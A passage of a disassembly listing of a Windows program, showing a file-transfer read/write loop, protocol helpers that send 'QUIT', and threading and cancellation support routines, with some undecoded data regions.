		call	sub_4021F3
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42E523
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42E4FA
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E523:				; CODE XREF: sub_42E400+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E53D:				; CODE XREF: sub_42E400+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42E593
		mov	esi, dword_50FA94


loc_42E55A:				; CODE XREF: sub_42E400+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42E581
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42E55A
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E581:				; CODE XREF: sub_42E400+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42E593:				; CODE XREF: sub_42E400+F4j
					; sub_42E400+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42E5B6
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42E5B6:				; CODE XREF: sub_42E400+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BDB
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42E400	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E650:				; CODE XREF: ___:0040169Fj
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E680:				; CODE XREF: ___:00401D2Fj
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42E6B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6B7:				; CODE XREF: ___:0042E6AAj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_50FA60
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_445504
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E6F8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6F8:				; CODE XREF: ___:0042E6EBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_445708
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E754
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_445700
		push	esi
		nop
		call	near ptr 77C41B72h
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42E754
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E754:				; CODE XREF: ___:0042E717j
					; ___:0042E738j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E7B0:				; CODE XREF: ___:004013BBj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42E7E0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7E0:				; CODE XREF: ___:0042E7D5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_445714
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E81B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E81B:				; CODE XREF: ___:0042E80Bj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E880	proc near		; CODE XREF: sub_4016A9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
sub_42E880	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8B0:				; CODE XREF: ___:004016C7j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8E0:				; CODE XREF: ___:00401492j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	esi, dword_50FA60
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_44572C
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E979
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_445720
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E979:				; CODE XREF: ___:0042E901j
					; ___:0042E91Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E9C0:				; CODE XREF: ___:00401C67j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E9E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: ___:0042E9E0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_445738
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EA40	proc near		; CODE XREF: sub_401D52j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42EA79
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42D1A0
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_50FAC4
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42EA79:				; CODE XREF: sub_42EA40+Aj
		pop	esi
		retn
sub_42EA40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EA90:				; CODE XREF: ___:0040219Ej
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42EAA0
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAA0:				; CODE XREF: ___:0042EA97j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42EAB6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAB6:				; CODE XREF: ___:0042EAADj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB10:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EB29
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EB29:				; CODE XREF: ___:0042EB20j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB60:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42EB85
		test	eax, eax
		jz	short loc_42EB85
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42EB85:				; CODE XREF: ___:0042EB74j
					; ___:0042EB78j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EBB0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EBC9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBC9:				; CODE XREF: ___:0042EBC0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42EBDD
		cmp	eax, 1
		jz	short loc_42EBDD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBDD:				; CODE XREF: ___:0042EBCFj
					; ___:0042EBD4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC00:				; CODE XREF: ___:0040150Fj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC20:				; CODE XREF: ___:00401825j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC40:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC59
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC59:				; CODE XREF: ___:0042EC50j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC80:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC99
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC99:				; CODE XREF: ___:0042EC90j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECC0:				; CODE XREF: ___:004019A1j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECF0:				; CODE XREF: ___:0040199Cj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_42ED12
		dec	eax
		jz	short loc_42ED02
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42ED02:				; CODE XREF: ___:0042ECFAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_42ED12:				; CODE XREF: ___:0042ECF7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED30:				; CODE XREF: ___:00401C08j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_42EDCB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_42EDCB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_42EDC2
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		jmp	short loc_42ED72
; ---------------------------------------------------------------------------


loc_42ED70:				; CODE XREF: ___:0042ED64j
					; ___:0042ED6Aj
		xor	eax, eax


loc_42ED72:				; CODE XREF: ___:0042ED6Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDB8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDAF
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDAF:				; CODE XREF: ___:0042EDA7j
		push	edi
		call	sub_401686
		add	esp, 4


loc_42EDB8:				; CODE XREF: ___:0042ED92j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_42EDC2:				; CODE XREF: ___:0042ED5Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDCB:				; CODE XREF: ___:0042ED39j
					; ___:0042ED45j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EE10:				; CODE XREF: ___:004021E9j
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_42EE78
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_42EE78
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE6E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE5F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE5F:				; CODE XREF: ___:0042EE4Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C76
		add	esp, 0Ch


loc_42EE6E:				; CODE XREF: ___:0042EE3Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE78:				; CODE XREF: ___:0042EE1Aj
					; ___:0042EE21j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EEB0:				; CODE XREF: ___:00401799j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_42EF64
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42EF64
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 27608D3h
		test	eax, eax
		jnz	short loc_42EEF7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_42EF44
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_40204A
		add	esp, 8
		mov	esi, eax
		jmp	short loc_42EF40
; ---------------------------------------------------------------------------


loc_42EEF7:				; CODE XREF: ___:0042EED8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_42EF1B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_42EF1D


loc_42EF1B:				; CODE XREF: ___:0042EF07j
		xor	ebx, ebx


loc_42EF1D:				; CODE XREF: ___:0042EF19j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_42EF40
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42EF40:				; CODE XREF: ___:0042EEF5j
					; ___:0042EF2Fj
		test	esi, esi
		jnz	short loc_42EF5E


loc_42EF44:				; CODE XREF: ___:0042EEE2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_50E3FC	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_42EF5E:				; CODE XREF: ___:0042EF42j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF64:				; CODE XREF: ___:0042EEB7j
					; ___:0042EEC1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFA0:				; CODE XREF: ___:00401F50j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_42EFC3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42EFC3:				; CODE XREF: ___:0042EFB2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFF0:				; CODE XREF: ___:00401A73j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42F011
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42F011
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F011:				; CODE XREF: ___:0042EFF9j
					; ___:0042EFFFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F030:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F04D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F04D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F04D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F04D:				; CODE XREF: ___:0042F036j
					; ___:0042F03Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F070:				; CODE XREF: ___:0040162Cj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F09A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F09A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F08E
		test	eax, eax
		jnz	short loc_42F09A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F08E:				; CODE XREF: ___:0042F085j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F09A:				; CODE XREF: ___:0042F076j
					; ___:0042F07Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F0B0	proc near		; CODE XREF: sub_40140Bj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F0B0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 0E8525738h, 2331572h, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 33167FE8h, 0A4E85302h
		dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h,	83FFFD1Fh
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F170:				; CODE XREF: ___:0040223Ej
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 3314B1E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	0E8000000h, 23315C0h, 0E4E85790h
		dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F230	proc near		; CODE XREF: sub_401CEEj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F230	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 13E89050h, 85023314h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
		dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F2B0:				; CODE XREF: ___:00401D25j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_42F3E9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42F2EB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F2EB:				; CODE XREF: ___:0042F2DCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A50
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402225
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_42F3C2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_42F3C2
		cmp	[esi+0Ch], ebp
		jge	loc_42F3D5
		test	edi, edi
		jz	short loc_42F354
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F354:				; CODE XREF: ___:0042F329j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 2750AADh
		push	0
		push	edi
		call	near ptr 276066Eh
		nop
		cmp	eax, 102h
		jnz	short loc_42F3E2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		call	near ptr 2750D03h
		nop
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_42F460
		push	ecx
		push	edi
		nop
		call	near ptr 2760000h
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		nop
		call	near ptr 27601FEh
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F3C2:				; CODE XREF: ___:0042F30Dj
					; ___:0042F318j
		cmp	[esi+0Ch], ebp
		jge	short loc_42F3D5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2760442h
		test	eax, eax
		jnz	short loc_42F3D9


loc_42F3D5:				; CODE XREF: ___:0042F321j
					; ___:0042F3C5j
		mov	[esp+10h], ebp


loc_42F3D9:				; CODE XREF: ___:0042F3D3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_42F3E2:				; CODE XREF: ___:0042F36Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_42F3E9:				; CODE XREF: ___:0042F2CFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F460:				; DATA XREF: ___:0042F390o
		push	2
